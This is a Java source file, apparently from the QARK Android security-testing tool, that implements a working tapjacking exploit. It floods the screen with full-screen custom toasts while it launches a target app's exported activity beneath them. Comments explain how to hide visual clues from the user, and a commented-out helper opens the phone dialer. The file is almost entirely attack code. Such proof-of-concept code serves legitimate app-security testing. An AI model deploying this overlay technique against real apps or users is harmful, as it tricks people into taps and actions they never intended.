/*
 * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License.
 *  You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 */

package com.secbro.qark.tapjacking;


import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.app.Fragment;
import android.support.v4.app.ListFragment;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.ListAdapter;
import android.widget.ListView;
import android.widget.Toast;

import com.secbro.qark.R;
import com.secbro.qark.TopLevelActivity;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * A simple {@link Fragment} subclass.
 * Use the {@link TapJackingExploitFragment#newInstance} factory method to
 * create an instance of this fragment.
 */
public class TapJackingExploitFragment extends ListFragment {
    private final static String LOG_TAG = TapJackingExploitFragment.class.getSimpleName();

    private ListView mListView;
    private ListAdapter mAdapter;
    private List<String> exportedActivities;
    private Map<String, String> exportedActivitiesNamesMap;
    private String exportedActivityName;

    public static TapJackingExploitFragment newInstance(String param1, String param2) {
        TapJackingExploitFragment fragment = new TapJackingExploitFragment();
        return fragment;
    }

    public TapJackingExploitFragment() {
        // Required empty public constructor
    }

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        exportedActivities = Arrays.asList(getResources().getStringArray(R.array.exportedActivities));

        if (exportedActivities != null && exportedActivities.size() != 0) {
            exportedActivitiesNamesMap = new HashMap<>();
            for (String intent : exportedActivities) {
                if (getResources().getIdentifier(intent, "string", getActivity().getPackageName()) != 0) {
                    exportedActivitiesNamesMap.put(intent, getResources().getString(getResources().getIdentifier(intent, "string", getActivity().getPackageName())));
                } else {
                    throw new IllegalArgumentException("No matching exportedActivities names found in string.xml ");
                }
            }

            mAdapter = (new ArrayAdapter<String>(getActivity(),
                    android.R.layout.simple_list_item_1, android.R.id.text1, new ArrayList<String>(exportedActivitiesNamesMap.values())));
        } else {
            Log.d(LOG_TAG, "No exported activities to exploit");
        }
    }

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
        // Inflate the layout for this fragment
        View retVal = inflater.inflate(R.layout.fragment_tap_jacking_exploit, container, false);

        mListView = (ListView) retVal.findViewById(android.R.id.list);
        ((AdapterView<ListAdapter>) mListView).setAdapter(mAdapter);

//        Testing only
//        fireLongToast(createToast());
//        launchDialer();

        return retVal;
    }

    @Override
    public void onListItemClick(ListView l, View v, int position, long id) {
        super.onListItemClick(l, v, position, id);

        fireLongToast(createToast());

        exportedActivityName = getResources().getString(getResources().getIdentifier(exportedActivities.get(position), "string", getActivity().getPackageName()));

        launchExportedActivity(exportedActivityName);

    }

    private Toast createToast() {
        LayoutInflater inflater = (LayoutInflater) getActivity().getSystemService(Context.LAYOUT_INFLATER_SERVICE);
        Toast toast = Toast.makeText(this.getActivity(), "",
                Toast.LENGTH_SHORT);
        View view = inflater.inflate(R.layout.tap_jacking_toast, null);
        toast.setView(view);
        toast.setGravity(Gravity.FILL, 0, 0);
        return toast;
    }

    private void fireLongToast(final Toast toast) {

        Thread t = new Thread() {
            public void run() {
                int count = 0;
                int max_count = 10;
                try {
                    while (true && count < max_count) {
                        toast.show();
						/*
						 * We check to see when we are going to give the screen
						 * back. Right before our toasts end we swap activities
						 * to remove any visual clues
						 */
                        if (count == max_count - 1) {
                            Intent intent = new Intent(getActivity(), TopLevelActivity.class);
                            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                            startActivity(intent);
                        }

						/*
						 * this short sleep helps our toasts transition
						 * seamlessly
						 */
                        sleep(1650);
                        count++;
                    }
                } catch (Exception e) {
                }
            }
        };
        t.start();
    }

    private void launchExportedActivity(final String exportedActivityName) {

        Thread t = new Thread() {
            public void run() {
				/*
				 * We sleep first in order for the toasts to consume the screen
				 * before the activity launches
				 */
                try {
                    sleep(1800);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                Intent intent = new Intent();
                intent.setComponent(new ComponentName(getString(R.string.packageName), exportedActivityName));
                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(intent);
            }
        };
        t.start();
    }

    private void launchDialer() {

        Thread t = new Thread() {
            public void run() {
				/*
				 * We sleep first in order for the toasts to consume the screen
				 * before the dialer activity launches
				 */
                try {
                    sleep(2000);
                } catch (InterruptedException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
                Intent intent = new Intent(Intent.ACTION_DIAL);
                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                // showing Google some love
                intent.setData(Uri.parse("tel:650-253-0000"));
                startActivity(intent);
            }
        };
        t.start();
    }

}
